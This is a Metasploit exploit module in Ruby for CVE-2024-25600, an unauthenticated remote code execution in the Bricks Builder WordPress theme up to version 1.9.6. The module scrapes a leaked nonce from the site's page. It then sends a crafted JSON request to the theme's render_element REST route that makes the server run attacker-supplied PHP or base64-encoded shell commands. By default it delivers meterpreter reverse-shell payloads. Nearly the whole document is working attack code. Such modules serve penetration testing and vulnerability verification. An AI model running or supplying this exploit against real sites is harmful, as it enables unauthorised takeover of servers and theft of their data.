WordPress Bricks Builder Theme 1.9.6 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::Wordpress  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Unauthenticated RCE in Bricks Builder Theme',        'Description' => %q{          This module exploits an unauthenticated remote code execution vulnerability in the          Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers          to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and          exploit the eval() function usage within the theme. Successful exploitation allows for full          control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.        },        'Author' => [          'Calvin Alkan', # Vulnerability discovery          'Valentin Lobstein' # Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2024-25600'],          ['URL', 'https://github.com/Chocapikk/CVE-2024-25600'],          ['URL', 'https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6'],          ['WPVDB', 'afea4f8c-4d45-4cc0-8eb7-6fa6748158bd']        ],        'DisclosureDate' => '2024-02-19',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        },        'Platform' => ['unix', 'linux', 'win', 'php'],        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [          [            'PHP In-Memory',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },              'Type' => :php_memory            }          ],          [            'Unix In-Memory',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },              'Type' => :unix_memory            }          ],          [            'Windows In-Memory',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' },              'Type' => :win_memory            }          ],        ],        'Privileged' => false      )    )  end  def fetch_nonce    uri = normalize_uri(target_uri.path)    res = send_request_cgi('method' => 'GET', 'uri' => uri)    return nil unless res&.code == 200    script_tag_match = res.body.match(%r{<script id="bricks-scripts-js-extra"[^>]*>([\s\S]*?)</script>})    return nil unless script_tag_match    script_content = script_tag_match[1]    nonce_match = script_content.match(/"nonce":"([a-f0-9]+)"/)    nonce_match ? nonce_match[1] : nil  end  def exploit    nonce = fetch_nonce    fail_with(Failure::NoAccess, 'Failed to retrieve nonce. Exiting...') unless nonce    print_good("Nonce retrieved: #{nonce}")    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'index.php'),      'ctype' => 'application/json',      'data' => {        'postId' => rand(1..10000).to_s,        'nonce' => nonce,        'element' => {          'name' => 'code',          'settings' => {            'executeCode' => 'true',            'code' => "<?php #{payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'))"} ?>"          }        }      }.to_json,      'vars_get' => {        'rest_route' => '/bricks/v1/render_element'      }    )  end  def check    return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?    wp_version = wordpress_version    print_status("WordPress Version: #{wp_version}") if wp_version    theme_check_code = check_theme_version_from_style('bricks', '1.9.6.1')    return CheckCode::Unknown('The Bricks Builder theme does not appear to be installed') unless theme_check_code    return CheckCode::Detected('The Bricks Builder theme is running but the version was unable to be determined') if theme_check_code.code == 'detected'    return CheckCode::Safe("The Bricks Builder is running version: #{theme_check_code.details[:version]}, which is not vulnerable.") unless theme_check_code.code == 'appears'    theme_version = theme_check_code.details[:version]    print_good("Detected Bricks Builder theme version: #{theme_version}")    CheckCode::Appears  endend